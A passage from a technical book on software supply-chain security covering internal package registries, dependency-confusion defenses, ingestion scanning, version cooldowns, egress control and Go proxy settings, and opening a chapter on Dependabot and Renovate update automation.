A mirror is a fuller local replica of upstream — potentially the entire index, potentially a curated subset. The distinction from a pull-through cache is one of *policy and completeness* rather than mechanism: a cache is demand-filled and lazy; a mirror is (at least partly) proactively populated and may be complete enough to serve as an offline substitute for upstream. Full mirrors of large ecosystems are expensive — a complete PyPI mirror via `bandersnatch` is tens of terabytes and growing — so most "mirrors" in practice are curated partial mirrors, which shades into the curated-registry model below. Mirroring earns its keep in air-gapped and bandwidth-constrained environments and where you must guarantee an artifact's continued availability independent of upstream.

Vendoring: committing dependencies into your repo

Vendoring takes a different tack: instead of resolving dependencies at build time from *any* registry, you commit the dependency source (or built artifacts) directly into your own repository, so the build reads them from the working tree. Forms vary by ecosystem:

- **Go** has first-class support: `go mod vendor` writes all module dependencies into a top-level `vendor/` directory, and `go build -mod=vendor` (the default when `vendor/` is present and the `go` directive is ≥ 1.14) builds exclusively from it, touching no network and no proxy.
- **npm** offers `bundledDependencies` (dependencies packed *into* your published tarball) and, at the extreme, some teams commit `node_modules` outright. The latter is rare and generally discouraged: it bloats the repo, produces enormous and unreviewable diffs, and mixes platform-specific compiled artifacts into source control.
- **Git submodules** vendor *source* dependencies by pinning another repository at a specific commit — useful for first-party or forked libraries you build from source, less so for registry packages.

The trade is stark. Vendoring buys full reproducibility, offline and hermetic builds (no network means no network-dependent flakiness or interference — see Book 4, Chapter 2 on hermetic builds), and a guarantee that a critical dependency cannot be unpublished out from under you. It costs repository bloat, noisy diffs, and *manual* update discipline — the vendored copy does not update itself, and it is easy for a `vendor/` tree to silently drift from what your manifest claims. Vendoring makes sense for: hermetic build targets where the network must be absent; air-gapped environments; and a small set of critical dependencies you refuse to risk losing. It is a poor default for a large, fast-moving dependency graph — which is exactly the case an internal registry handles better.

Fully curated / allowlisted registry: maximum control

At the far end, an internal registry admits *nothing* that has not passed policy. A package version enters the org only after ingestion scanning, license checks, and whatever provenance and approval gates you require; everything else is refused. This is the highest control and the highest friction — developers occasionally wait for a new dependency to be vetted — and it is the model that regulated and high-assurance environments converge on. Most mature organizations run a pragmatic blend: pull-through with ingestion scanning and cooldown for the long tail, hard allowlisting for a curated core, and vendoring for a handful of critical or hermetic targets.

Model	Control	Friction	Offline	Defeats confusion?	Fleet-wide scan point?
Direct-from-public	Lowest	Lowest	No	No	No
Pull-through cache	Low–Medium	Low	Cached only	With config	Yes
Mirror	Medium	Medium	Partial/ Full	With config	Yes

Model	Control	Friction	Offline	Defeats confusion?	Fleet-wide scan point?
Vendoring	High (per repo)	Medium–High	Yes	Yes (no resolution)	No (per repo)
Curated / allowlisted	Highest	Highest	Yes	Yes	Yes

Internal registry / repository-manager architecture

The workhorse of everything from "pull-through cache" rightward is a *repository manager*: a server that speaks the native protocols of multiple package ecosystems and interposes on every resolve and publish. The market is mature and largely converges on the same conceptual model, so learn the model once and the products map onto it.

Product	Formats	Notable model detail
JFrog Artifactory	npm, PyPI, Maven, Docker/OCI, Go, NuGet, generic, …	remote / local / virtual repos; Xray + Curation for scanning
Sonatype Nexus Repository	npm, PyPI, Maven, Docker, Go, …	proxy / hosted / group repos; Nexus Firewall (IQ) quarantine
AWS CodeArtifact	npm, PyPI, Maven, NuGet, generic	domains + repos + upstreams; *package origin controls*
Google Artifact Registry	Docker/OCI, npm, PyPI, Maven, Go, …	remote and virtual repositories
Azure Artifacts	npm, PyPI, Maven, NuGet	feeds + upstream sources
GitHub Packages / GitLab Package Registry	npm, Maven, NuGet, Docker, …	per-org/project registries, upstream/virtual varies

Product	Formats	Notable model detail
Verdaccio	npm	lightweight self-hosted npm proxy with uplinks
Cloudsmith	multi-format SaaS	hosted + upstream proxying

Multi-format is the norm, not a luxury: a real org needs one control plane covering npm *and* PyPI *and* Maven *and* Docker *and* Go, because the security properties you want are identical across ecosystems and you do not want five different policy engines.

The three repository types

Nearly every repository manager exposes three kinds of repository. Names differ; concepts do not.

- **Remote repository** (Artifactory) / **proxy repository** (Nexus) / **upstream** (CodeArtifact, Azure): a proxy of an external source such as `registry.npmjs.org` or `pypi.org`. It caches on first fetch. This is your pull-through cache.
- **Local repository** (Artifactory) / **hosted repository** (Nexus): storage for *your own* internal packages — first-party libraries published by your teams. Nothing external can put anything here; only your publishers can.
- **Virtual repository** (Artifactory) / **repository group** (Nexus) / the aggregation an upstream chain forms (CodeArtifact): a single URL that *aggregates* one or more local and remote repositories and resolves requests across them in a configured order. This is the URL your developers and CI actually point at. They see one registry; behind it sits the resolution logic.

```
flowchart TB
  DEV["Developer / CI
npm install, pip install, go get"] --> V

  subgraph REG["Internal repository manager"]
    V{{"VIRTUAL repository
single URL clients use
resolution order: local first"}}
    L[("LOCAL / hosted repo
@acme/* first-party
packages")]
    R[("REMOTE / proxy repo
caches registry.npmjs.org")]
    V -->|"1 - check local"| L
    V -->|"2 - fall through if not internal"| R
  end

  R -->|"cache miss only"| UP["registry.npmjs.org
(public upstream)"]

  L -. "internal names
NEVER reach upstream" .-> R
```

The resolution order in the virtual repository is the whole game. A client asks the virtual repository for a package; the virtual repository consults its members in order. Put the local (hosted) repository first and the remote (proxy) second, and an internal name is answered *locally* and never falls through to the public upstream — which is exactly the dependency-confusion defense Chapter 3 argued for, now realized concretely.

The resolution-order security property: defeating dependency confusion

Local-first ordering alone is *necessary but not sufficient*. The failure mode is subtle: if an internal package name is requested but that specific *version* does not exist in the local repo — because of a typo, a not-yet-published version, or an attacker guessing a plausible future version number — a naïvely configured virtual repository will fall through to the remote and happily fetch an attacker's public package of the same name. The fix is to make internal namespaces resolve *only* locally, with no fall-through possible. Two complementary mechanisms:

1. **Exclude/route the internal namespace off the remote.** Tell the remote (proxy) repository to refuse to proxy anything matching your

internal name pattern, so a request for an internal name can never be answered upstream even by accident.

2. **Reserve the namespace on the client.** Point the internal scope/namespace at a registry that contains only your hosted packages, so the client never even asks upstream for those names.

Here is the exclude-pattern approach on an Artifactory *remote* (npm) repository — the pattern is excluded from what the remote will proxy, so `@acme/*` can never be fetched from npmjs:

```
{
  "key": "npm-remote",
  "type": "remote",
  "url": "https://registry.npmjs.org",
  "repoLayoutRef": "npm-default",
  "excludesPattern": "@acme/**,acme-*/**",
  "includesPattern": "**/*"
}
```

Any request matching `excludesPattern` is not served by this remote — full stop. Combined with a virtual repository that lists `npm-local` before `npm-remote`, an `@acme/*` package resolves from `npm-local` if present and returns a clean 404 (never an attacker's package) if absent. The 404 is the point: a missing internal package must fail closed, not fall through.

On the client, scope the internal namespace to the virtual repository via `.npmrc`:

```
# .npmrc — baked into base images and CI, not left to developers
registry=https://artifacts.acme.internal/artifactory/api/npm/npm-
virtual/
@acme:registry=https://artifacts.acme.internal/artifactory/api/npm/npm-
virtual/
//artifacts.acme.internal/artifactory/api/npm/npm-virtual/:_authToken=$
{NPM_TOKEN}
always-auth=true
```

The `@acme:registry` line is the reservation: every `@acme/*` request goes to the internal virtual repository, which resolves it local-first with the remote excluded. There is no configuration under which a client asks npmjs for `@acme/*`.

AWS CodeArtifact bakes this into a dedicated feature — **package origin controls** — rather than leaving it to include/exclude patterns. Origin

controls govern, per package, whether versions may be *published* directly to the repo and whether they may be *pulled from upstream*. Setting a package (or a newly published internal package, which defaults to this) to `publish=ALLOW, upstream=BLOCK` means once your team owns a package name in the repo, CodeArtifact will refuse to ingest a same-named package from any upstream — the confusion vector is closed by construction:

```
aws codeartifact put-package-origin-configuration \
  --domain acme --repository team-npm \
  --format npm --namespace acme --package ui-components \
  --restrictions publish=ALLOW,upstream=BLOCK
```

Nexus achieves the equivalent with **routing rules** (to block upstream paths matching internal patterns on the proxy) plus group ordering that lists the hosted repo first; Azure Artifacts relies on the property that once a package version is saved to a feed, that feed copy is authoritative and upstream is not consulted for it. Different mechanisms, identical property: *internal names resolve internally and never win a public race.* Get this one thing right and you have eliminated a whole attack class from Chapter 3 across every ecosystem at once.

Turning the chokepoint into a control plane

Once every resolve and publish flows through one interposition point, that point stops being merely a cache and becomes a *policy enforcement plane*. This is the strategic payoff of the whole exercise: controls you would otherwise have to deploy and verify on every laptop and every runner now run *once*, at ingestion, and protect the entire fleet.

```
flowchart TD
  REQ["Client requests
foo@1.2.3"] --> HIT{"in local
cache?"}
  HIT -->|"hit"| SERVE["Serve artifact
log the pull"]
  HIT -->|"miss"| FETCH["Fetch from upstream
into QUARANTINE"]
  FETCH --> COOL{"version age
>= cooldown?"}
  COOL -->|"no, too new"| BLOCK1["Refuse / hold
410 or 404"]
  COOL -->|"yes"| SCAN{"SCA + malware
+ license + provenance"}
  SCAN -->|"policy violation"| BLOCK2["Quarantine / block
alert, log"]
  SCAN -->|"clean"| PROMOTE["Promote to cache"]
  PROMOTE --> SERVE
```

Ingestion scanning: scan once, protect the fleet

At ingestion you can run the full detection toolchain from Chapters 4 and 6 — SCA against vulnerability databases *and* behavioral/malware heuristics — on every artifact *before* it is served to a single build. The economic argument is decisive: a malicious or vulnerable version is inspected one time, and either quarantined or blocked, rather than relying on ten thousand independent consumers to each run a scan that most will skip. Artifactory pairs the registry with **Xray** (SCA/policy) and **Curation** (block-on-ingestion); Nexus pairs with **Nexus Firewall / IQ Server**, whose *quarantine* holds a newly requested component until policy evaluation completes and releases or blocks it. The pattern is the same everywhere: **fetch into quarantine → evaluate → promote or block**. A component that fails policy is never promoted into the served cache, so no build ever sees it.

Version cooldown / quarantine by minimum age

The most cost-effective single control against smash-and-grab malicious releases is a *cooldown*: refuse to serve any version younger than N days. The reasoning, developed in Chapter 4, is that the overwhelming majority of malicious npm/PyPI releases are detected and yanked within hours to a couple of days; a fleet that simply refuses to consume anything newer than, say, seven days converts the ecosystem's *eventual* detection into

your *prospective* protection, at the modest cost of not being on the absolute bleeding edge. This lives in two complementary places:

- **In the update tool.** Renovate's `minimumReleaseAge` (formerly `stabilityDays`) holds a proposed upgrade until the new version has been published for at least the configured duration:

```
json { "minimumReleaseAge": "7 days", "internalChecksAsSuccess": true, "packageRules": [ { "matchDepTypes": ["devDependencies"], "minimumReleaseAge": "3 days" } ] }
```

- **In the registry.** Curation/quarantine policies can refuse to serve versions below a minimum age regardless of who requests them, closing the gap for direct `npm install foo@latest` that bypasses the update bot. Belt and suspenders: the update tool covers proposed bumps, the registry covers everything else.

Curation, allow/deny lists, license and provenance policy

Beyond vulnerabilities and malware, ingestion is where you enforce the *business* policy:

- **Allowlisting / denylisting.** A curated registry may admit only vetted packages (allowlist), or admit broadly but block known-bad names, abandoned packages, or packages from untrusted namespaces (denylist).
- **License policy.** Block or flag licenses your legal posture forbids — commonly copyleft such as AGPL for a proprietary SaaS — at ingestion, so a non-compliant dependency never enters the build in the first place. The license-risk taxonomy is Book 1, Chapter 8.
- **Provenance / signature verification.** Where an ecosystem publishes signed provenance — npm provenance attestations, Sigstore signatures, SLSA provenance — you can require and verify it at ingestion and refuse unsigned or unverifiable artifacts. The cryptography and the verification semantics are Book 5; the *placement* of the check at the registry chokepoint is the point here.
- **Immutability and retention.** Once a version is admitted, pin it immutable so its bytes cannot be silently swapped (an artifact that changes under a fixed version is a supply-chain incident in itself), and retain it independent of upstream so an unpublish upstream cannot break you.

The audit trail: fleet-wide ground truth

Because every resolve passes through the registry, its access log is the *authoritative* record of what your organization pulled and when. This is not a nice-to-have; it is the substrate of incident response. When Chapter 4's smash-and-grab or a future xz-style backdoor is disclosed, the first question is always "who pulled the affected versions, and when?" Under direct sourcing that question is unanswerable. With a registry, it is a log query:

```
2026-07-30T14:22:11Z  build-farm-node-42  GET  npm/color-name/-/
color-name-2.0.1.tgz  200
2026-07-30T14:22:11Z  ci-runner-prod-7    GET  npm/color-name/-/color-n
ame-2.0.1.tgz  200
```

That log, joined with SBOM inventory (Book 3), turns "we might be affected" into a precise blast radius: exact builds, exact times, exact downstream artifacts. It is also the evidence trail for audits and the input to the incident-response playbook in Book 8, Chapter 6.

Air-gapped and regulated environments

In an air-gapped or high-assurance environment the internal registry is not merely the *preferred* source — it is the *only* source, by network design. Nothing in the build environment can reach the public internet at all. Updates enter through a deliberate, human-gated import process: a vetting station on the connected side pulls candidate artifacts, runs the full ingestion pipeline (scan, cooldown, license, provenance), and only vetted artifacts are transferred across the boundary (often via a one-way data diode or a manual media transfer) into the internal registry. The registry thereby becomes the enforced, auditable membrane between the outside world and the regulated environment — the same control plane, with the "block" path hardwired by the network topology rather than by policy alone.

Operational realities

Interposing a registry on every build solves the problems above and creates a new one: you now depend, absolutely, on a piece of infrastructure you operate.

Availability: the registry is now tier-0

If the registry is down, *nobody builds* — not development, not CI, not the emergency hotfix you need to ship during an unrelated incident. This is a strictly worse availability profile than direct sourcing at the moment of failure (direct sourcing depends on many external registries; yours depends on one internal one), and it must be engineered accordingly:

- **High availability.** Run the registry as a clustered, multi-node service behind a load balancer, with a replicated or highly-available object store (S3/GCS with cross-AZ durability) for artifact bytes and an HA database for metadata. No single node failure should stop builds.
- **Disaster recovery.** Because a curated/hosted repository contains your *first-party* packages and your vetted copies of critical dependencies — some of which may no longer exist upstream — its loss is potentially unrecoverable. Back it up, replicate it cross-region, and test restore. Treat it as the tier-0 system it is. Book 1, Chapter 3's SolarWinds lesson generalizes here: your build/artifact infrastructure *is* production infrastructure and an attacker's prime target; protect it accordingly.
- **Caching for resilience.** The pull-through cache is itself a resilience feature — a cached dependency survives an upstream outage. Warm caches and long retention reduce your exposure to upstream flakiness.

Storage growth, retention, and cleanup

A demand-filled cache plus your own published versions grows without bound, and Docker/OCI layers in particular are large. Left unmanaged, storage is the operational failure that eventually stops the registry (and thus all builds). You need retention and cleanup policies — evict unused cached proxy artifacts after some idle period (they can be re-fetched from upstream), retain first-party and vetted-critical artifacts indefinitely, and garbage-collect unreferenced Docker blobs — while being careful never to evict the one vetted copy of a dependency that upstream has since deleted. Retention policy is a security policy, not just a cost policy.

Performance: build farms hammer the registry

A large CI fleet can generate enormous request volume — thousands of concurrent `npm ci` and `pip install` runs, each pulling hundreds of artifacts. The registry must be sized for that peak, not the average. Front it with a CDN or local caching layer for hot artifacts; place read replicas or regional caches near large build farms; and design CI so that a slow registry degrades throughput gracefully rather than failing builds. Metadata requests (dependency resolution reads the package index, not just tarballs) are often the hot path, so cache metadata aggressively.

Adoption: the paved road and preventing bypass

A control that developers can trivially bypass is not a control. Two moves make the registry the *actual* path:

1. **Make it the default — the paved road.** Bake the registry configuration into base images and CI images and org-wide config so that the correct, secure behavior is what happens when someone does nothing special: `.npmrc`, `pip.conf`, Maven `settings.xml`, and `GOPROXY` all pointed at the internal virtual repositories, shipped in the standard developer container and the standard CI runner. The easy path and the secure path must be the same path.

`ini # pip.conf — shipped in base images [global] index-url = https://artifacts.acme.internal/artifactory/api/pypi/pypi-virtual/simple`

```xml

acme-virtual * https://artifacts.acme.internal/artifactory/maven-virtual ```

1. **Prevent bypass with egress control — belt and suspenders.** Configuration is a default, not an enforcement; a build can override `.npmrc`. The enforcement is network: block outbound access from build environments to public registries (`registry.npmjs.org`, `pypi.org`, `repo.maven.apache.org`, `proxy.golang.org`, …) at the egress firewall or via an egress proxy allowlist, so a build that *tries* to reach a public registry directly simply cannot. Now the internal registry is not the recommended path — it is the *only* reachable path, and the dependency-confusion and cooldown controls above cannot be bypassed by a misconfigured or malicious build.
```

```
flowchart LR
  subgraph BUILD["Build environment (CI runner / dev container)"]
    C["npm / pip / go / mvn"]
  end
  C -->|"allowed"| REG["Internal registry
artifacts.acme.internal"]
  C -.->|"BLOCKED at egress"| PUB["Public registries
npmjs / PyPI / Maven Central"]
  REG -->|"controlled fetch
scan, cooldown, log"| PUB
  EGRESS["Egress firewall / proxy allowlist
only artifacts.acme.internal permitted"] --- C
```

Egress control is what converts the registry from *optional convenience* to *mandatory control point*. Without it, every security property above is advisory.

Go-specific: internal GOPROXY and the checksum database

Go deserves its own note because its module system has a distinctive, security-relevant design: the module proxy protocol and the checksum database.

The proxy. `GOPROXY` is a comma-separated list of module-proxy URLs; the default is `https://proxy.golang.org,direct`, where `direct` means "fetch straight from the source VCS." To route Go builds through your control plane, point `GOPROXY` at an internal proxy. You can run a dedicated Go proxy such as **Athens** (an open-source `GOPROXY` implementation with pluggable storage) or use your repository manager's Go remote (Artifactory and Nexus both implement the Go proxy protocol). The trailing `direct` is deliberately dropped in a locked-down setup so that a module *not* available through your proxy fails rather than silently reaching out to arbitrary VCS hosts:

```
# Shipped in the Go base image and CI. No 'direct' fallback: proxy is
the only path.
export GOPROXY=https://athens.acme.internal
export GOFLAGS=-mod=mod
```

The checksum database. `GOSUMDB` names Go's transparency-log-backed checksum database (default `sum.golang.org`), which the `go` command consults to verify that the hashes recorded in `go.sum` for a module match what the wider ecosystem observed — a genuine, ecosystem-scale integrity control (the transparency-log mechanism is Book 5, Chapter 5).

The wrinkle is *private modules*: your internal `github.com/acme/...` modules are not (and must not be) in the public checksum database, and asking `sum.golang.org` about them would both fail and *leak the private module path* to a public service. Go provides `GOPRIVATE` for exactly this. `GOPRIVATE` is a comma-separated list of glob patterns of module-path prefixes to treat as private; it serves as the default for `GONOPROXY` (fetch these directly, not via the public proxy) and `GONOSUMDB` (do not compare these against the checksum database):

```
export GOPRIVATE=github.com/acme/*,git.acme.internal/*
# GOPRIVATE implies, for matching modules:
#   GONOPROXY  -> bypass the public proxy for these
#   GONOSUMDB  -> do not query the public checksum DB for these
```

A few correctness notes that trip teams up. First, `GOINSECURE` is *not* a checksum control — its own documentation says it "does not disable checksum database validation"; it only permits fetching matching modules over unencrypted HTTP and skipping TLS verification, and you almost never want it. Use `GOPRIVATE` / `GONOSUMDB` to exempt private modules from the sumdb, not `GOINSECURE`. (The old `GONOSUMCHECK` name from early Go 1.13 development no longer exists; `GOPRIVATE`, `GONOPROXY`, and `GONOSUMDB` are the current controls.) Second, if your internal registry proxies *public* Go modules, `go` will still (correctly) validate those public modules against `sum.golang.org` unless you disable it — which you generally should *not*, because that check is protecting you. A mature setup keeps the checksum database on for public modules and uses `GOPRIVATE` to carve out exactly the internal namespace. Setting `GOSUMDB=off` wholesale throws away a real integrity control and should be a last resort, not a convenience.

Distributed-systems lens

This chapter is the most concentrated instance of a theme that runs through the whole book: *controls that are hopeless to enforce per-node become tractable at a chokepoint.* In a fleet of hundreds of services, thousands of repos, and a high deploy frequency, you cannot verify that every developer laptop and every ephemeral CI runner scans its dependencies, honors a cooldown, checks a license, or refuses an internal name from the public registry. You *can* verify it once, at the internal registry, and have it hold for every build in the org simultaneously. The

registry is the one place where a single configuration change — block this version, exclude this namespace, require this signature — takes effect fleet-wide, immediately, without touching a single service. When the next event-stream or xz lands, the ability to cut off a bad version *for everyone at once* from one console is the difference between a contained incident and a fleet-wide scramble.

That same centralization has two hard consequences you must design for. First, the registry is a **single point of failure**: it now sits on the critical path of every build and deploy in the organization, so it must be engineered as tier-0 infrastructure — HA, DR, tested restores, capacity for peak build-farm load — because its outage is a *global* outage of your ability to ship. Second, it is a **high-value target**. An attacker who compromises the one system every build pulls from can poison every build — this is the SolarWinds lesson (Book 1, Chapter 3) applied to your own infrastructure: the build/artifact plane is production, and it is precisely where a sophisticated adversary aims. The controls you place *on* ingestion must be matched by controls that protect the registry *itself*: strong publisher authentication, immutability, signed internal artifacts, least-privilege access, and monitoring of the registry's own audit log for anomalous publishes and pulls. Finally, that audit log is your fleet-wide ground truth — the one authoritative answer to "what did we actually pull, and when." Protect it, retain it, and wire it into your SBOM inventory (Book 3) and incident-response tooling (Book 8) *before* you need it, because during an incident it is the difference between a query and a guess.

Key takeaways

- **Dependency sourcing is a spectrum of control**, from direct-from-public (least control, least friction) through pull-through cache, mirror, and vendoring, to a fully curated allowlisted registry (most control, most friction). Most orgs should run a pragmatic blend; almost none should run direct-from-public at scale.
- **The pull-through proxy is the minimum viable control** because it creates a single point every request passes through — the precondition for scanning, logging, and enforcement. If you do one thing, do this.
- **Repository managers share a remote / local / virtual model.** The virtual repository's *resolution order* — local (hosted) first, remote

(proxy) second, internal namespaces excluded from the remote — is where you defeat dependency confusion. A missing internal package must fail closed (404), never fall through to a public package of the same name. Real mechanisms: Artifactory `excludesPattern`, scoped `.npmrc`, CodeArtifact package origin controls, Nexus routing rules.

- **The chokepoint is a control plane.** Scan once at ingestion (SCA + malware) to protect the whole fleet; impose a version cooldown/minimum-age (Renovate `minimumReleaseAge` and registry policy) to defeat smash-and-grab releases; enforce license and provenance policy at ingestion; make artifacts immutable; and keep a complete audit trail — which is your fleet-wide ground truth for incident response and SBOM inventory.
- **The registry becomes tier-0.** If it is down, nobody builds; if it is compromised, every build is. Engineer HA, DR, retention, and peak build-farm performance, and protect the registry as the high-value target it is (the SolarWinds lesson, turned inward).
- **Make it mandatory, not optional.** Bake the config into base and CI images (the paved road) and enforce it with egress control so builds *cannot* reach public registries directly. Configuration is a default; the network is the enforcement.
- **Go specifics matter:** run an internal `GOPROXY` (Athens or a repository-manager Go remote), keep the public checksum database on for public modules, and use `GOPRIVATE` (which defaults `GONOPROXY` and `GONOSUMDB`) to carve out internal namespaces — not `GOINSECURE`, and not a blanket `GOSUMDB=off`.

Further reading

- JFrog Artifactory — repository types (local, remote, virtual) and include/exclude patterns (https://jfrog.com/help/r/jfrog-artifactory-documentation/repository-management) and JFrog Curation for block-on-ingestion (https://jfrog.com/help/r/jfrog-curation-documentation).
- Sonatype Nexus Repository — proxy/hosted/group repositories (https://help.sonatype.com/en/repository-manager-3.html) and Nexus Firewall / IQ Server quarantine (https://help.sonatype.com/en/sonatype-repository-firewall.html).

- AWS CodeArtifact — package origin controls, the built-in dependency-confusion defense (https://docs.aws.amazon.com/codeartifact/latest/ug/package-origin-controls.html) and upstream repositories (https://docs.aws.amazon.com/codeartifact/latest/ug/repos-upstream.html).
- Google Artifact Registry — remote and virtual repositories (https://cloud.google.com/artifact-registry/docs/repositories/remote-overview).
- Azure Artifacts — upstream sources and feed behavior (https://learn.microsoft.com/en-us/azure/devops/artifacts/concepts/upstream-sources).
- Verdaccio — self-hosted npm proxy, uplinks and package access (https://verdaccio.org/docs/uplinks).
- npm scoped registries and `.npmrc` configuration (https://docs.npmjs.com/cli/using-npm/config) and npm's dependency-confusion guidance.
- Renovate `minimumReleaseAge` for version cooldowns (https://docs.renovatebot.com/configuration-options/#minimumreleaseage).
- Go modules reference — `GOPROXY`, `GOSUMDB`, `GOPRIVATE`, `GONOPROXY`, `GONOSUMDB`, private modules (https://go.dev/ref/mod#private-modules) and "Module Mirror and Checksum Database Launched" (https://go.dev/blog/module-mirror-launch).
- Athens — an open-source Go module proxy (https://docs.gomods.io/).
- `bandersnatch` — PyPI mirroring (https://bandersnatch.readthedocs.io/).
- The left-pad incident retrospective — npm's account of the March 2016 unpublish (https://blog.npmjs.org/post/141577284765/kik-left-pad-and-npm).

Chapter 9 — Dependency Update Strategy and Automation

What this chapter covers. This book has spent eight chapters building tension and refusing to resolve it. Chapter 2 argued for pinning exact versions and committing lockfiles, because reproducibility and defense

against silent substitution demand that a build resolve to the *same* bytes every time. Chapters 3 and 4 showed that the very act of pulling a new version is the primary supply-chain attack vector — a compromised maintainer account or a typosquat ships malware in a release you did not write and barely reviewed. And yet Chapters 5, 6, and 7 insisted that the dependencies you froze in place are quietly accumulating known vulnerabilities, and that *not* updating is itself a security failure with a name and a CVE list. So which is it — pin and stay still, or update and expose yourself? This chapter is the resolution, and the answer is neither horn of the dilemma. You pin *and* you update, continuously, through disciplined automation with a cooldown and a gate. That combination — reproducibility from pinning, currency from automated proposals, safety from a quarantine window and CI — is the recommended posture for every serious codebase, and the operational playbook for achieving it at fleet scale is the subject of this chapter.

Learning goals — after this chapter you should be able to:

- Explain why **updating dependencies is a security activity**, why *not* updating is a vulnerability, and why blind auto-updating is simultaneously an attack vector — and hold both truths at once.
- Compare **Dependabot and Renovate** accurately: their real configuration models, grouping, scheduling, auto-merge, and the cooldown control (`minimumReleaseAge`) that is the single most important safety feature.
- Design a **safe-update policy**: cooldown/quarantine, CI-and-SCA gating, grouping for noise management, and the pin-plus-automate loop that gives you reproducibility and currency together.
- Distinguish **update types by urgency** — security patch, routine bump, major upgrade — and tie urgency to the reachability-and-KEV prioritization model from Chapter 7.
- Operate update automation **at fleet scale**: org-wide presets, freshness metrics as an SLO, the unowned long tail, and coordinated fleet-wide response when a Log4Shell-class CVE drops.

This chapter assumes the sourcing chokepoint of Chapter 8 (an internal registry or proxy) and the prioritization machinery of Chapter 7 (reachability, VEX, KEV). Update automation is what *drives* that machinery — it is the actuator that turns "we know we should be on 1.2.4" into "1,400 repos are on 1.2.4."

Updating is a security activity — and so is not updating

Start with the uncomfortable symmetry. Both action and inaction here are security-relevant, and teams that internalize only one half of it end up in a predictable failure mode.

Inaction is a vulnerability. A dependency you froze eighteen months ago has not stood still in the world's eyes even though it has stood still in your lockfile. Vulnerabilities are discovered in it, published to the advisory databases (Chapter 5), and — critically — the *fix* ships as a new version you have not adopted. The gap between "a patched version exists" and "you are running it" is pure, self-inflicted exposure. Attackers read the same advisories and changelogs you do; a public CVE with a public patch is a public map to the unpatched. Log4Shell (CVE-2021-44228) was not dangerous only in the hours after disclosure — it was dangerous for the *months* afterward in every organization that could not, or did not, roll out log4j 2.17. The dwell time between disclosure and remediation is the window an attacker operates in, and for a stale fleet that window is measured in quarters. Stale dependencies are not "technical debt" in the soft sense of the phrase; they are a growing pile of *known, indexed, exploitable* defects with your name on them.

Action is an attack vector. And yet the mechanism by which you fix a stale dependency — pull a newer version and run its code — is precisely how the worst supply-chain compromises reach you. Book 1, Chapter 4 (Case Studies: Dependency Attacks) and Chapter 4 of this book catalog the pattern: `event-stream` gained a malicious dependency in a point release; `ua-parser-js`, `coa`, and `rc` shipped credential stealers from hijacked maintainer accounts; the `xz-utils` backdoor rode in on ordinary-looking releases from a trusted contributor. In every case the malicious payload arrived *as an update* — a new version, freshly published, that an auto-updating consumer would pull within minutes. An organization that reflexively adopts the newest version of everything the moment it appears has built the perfect delivery pipeline for a smash-and-grab malicious release.

So the requirement is not "update" and it is not "don't update." It is **update fast enough to close the disclosure-to-patch window, but with enough friction and inspection that a malicious or broken release cannot slip through unexamined.** Those two goals pull in

opposite directions along a single axis — *time to adopt a new version* — and the entire discipline of this chapter is about placing the fleet at the right point on that axis and defending the point with automation.

Dependency drift and the big-bang death march

The tension has a scaling dimension that is easy to underestimate. Consider not one dependency but the transitive closure of a large service — hundreds to low thousands of packages — and not one service but a fleet of hundreds. Every one of those (service, dependency) pairs drifts independently. Left alone, each service's manifest ages at the rate the ecosystem releases, which for a busy JavaScript or Python project means *dozens* of your dependencies ship a new version every week.

There are two ways to pay the resulting bill, and their cost curves are radically different.

The first is **continuous small updates**: adopt patch and minor bumps as they land, in a steady trickle, each one a small diff that CI validates in isolation. The per-update cost is low, the blast radius of any one update is small, and the codebase never drifts more than a few days from the ecosystem's current state.

The second is **deferral followed by a big-bang upgrade**: ignore updates until something forces the issue — an end-of-life announcement, a critical CVE with no backport to your ancient major version, a new hire who refuses to work against a five-year-old framework — and then attempt to close years of drift in a single project. This is the "we're three major versions behind" death march, and anyone who has lived one knows its shape: every major bump in the chain has breaking changes; the breaking changes interact; the test suite that would tell you whether the upgrade worked was itself written against the old APIs; and the transitive graph has shifted so far that resolving a consistent set at all becomes a research project. A drift that would have cost an hour a week compounds into a quarter of a senior engineer's time, taken all at once, under deadline pressure, with maximal risk.

```
flowchart LR
  subgraph cont["Continuous small updates"]
    C1["small diff"] --> C2["small diff"] --> C3["small diff"] -->
C4["always near HEAD"]
  end
  subgraph big["Deferral then big-bang"]
    B1["ignore"] --> B2["ignore"] --> B3["ignore"] --> B4["3 majors
behind:
EOL / critical CVE forces it"] --> B5["multi-month
upgrade project"]
  end
```

The economics are not close, and the security economics are worse than the engineering economics: a fleet that defers cannot adopt a security patch on demand, because "adopt the patch" for a three-major-versions-behind service *is* the death march. Continuous updating is not merely tidier; it is the precondition for being able to respond to an incident at all. You cannot sprint if you have not been walking. The rest of this chapter is about making continuous updating cheap enough that teams actually do it, and safe enough that it does not become the attack vector we just warned about.

The tooling: Dependabot and Renovate

Two tools dominate automated dependency updating, and their differences are not cosmetic — they encode different philosophies about how much policy you want to express and how much control you want centralized. Understand both mechanically before choosing.

Dependabot

Dependabot is GitHub's native offering, and its great virtue is that it is *already there*: no app to install, no runner to host, tight integration with GitHub's Advisory Database and the repository's security tab. It operates in two distinct modes that are frequently conflated, and the distinction matters for policy.

Dependabot security updates are alert-driven. When GitHub's Advisory Database records a vulnerability affecting a version in your dependency graph, Dependabot raises an *alert* and can automatically open a pull request bumping the offending package to the minimum non-vulnerable version. These fire regardless of your schedule — they are reactive to

disclosure — and they are the mechanism most directly tied to the security mission. They can be enabled with no configuration file at all.

Dependabot version updates are schedule-driven and configured explicitly in `.github/dependabot.yml`. This is the routine-currency engine: on the cadence you specify, it checks each ecosystem for newer versions and opens PRs. A representative config:

```
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "monday"
    open-pull-requests-limit: 10
    groups:
      # Grouped updates: one PR for many low-risk bumps instead of a
flood
      dev-dependencies:
        dependency-type: "development"
        update-types: ["minor", "patch"]
      production-patches:
        dependency-type: "production"
        update-types: ["patch"]
    ignore:
      # Never auto-bump the major of a framework we upgrade
deliberately
      - dependency-name: "react"
        update-types: ["version-update:semver-major"]
    labels: ["dependencies"]
    commit-message:
      prefix: "deps"
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
```

Grouped updates — the `groups` block — were a significant and relatively recent addition; before them, Dependabot opened one PR per dependency, which at fleet scale meant drowning teams in review noise. Grouping collapses many low-risk bumps into a single reviewable, mergeable unit.

Dependabot has no built-in review or merge policy of its own; auto-merge is assembled from GitHub primitives. The idiomatic pattern is a workflow

triggered on Dependabot's PRs that inspects the update metadata and enables GitHub's native auto-merge for the safe cases:

```
name: dependabot-auto-merge
on: pull_request
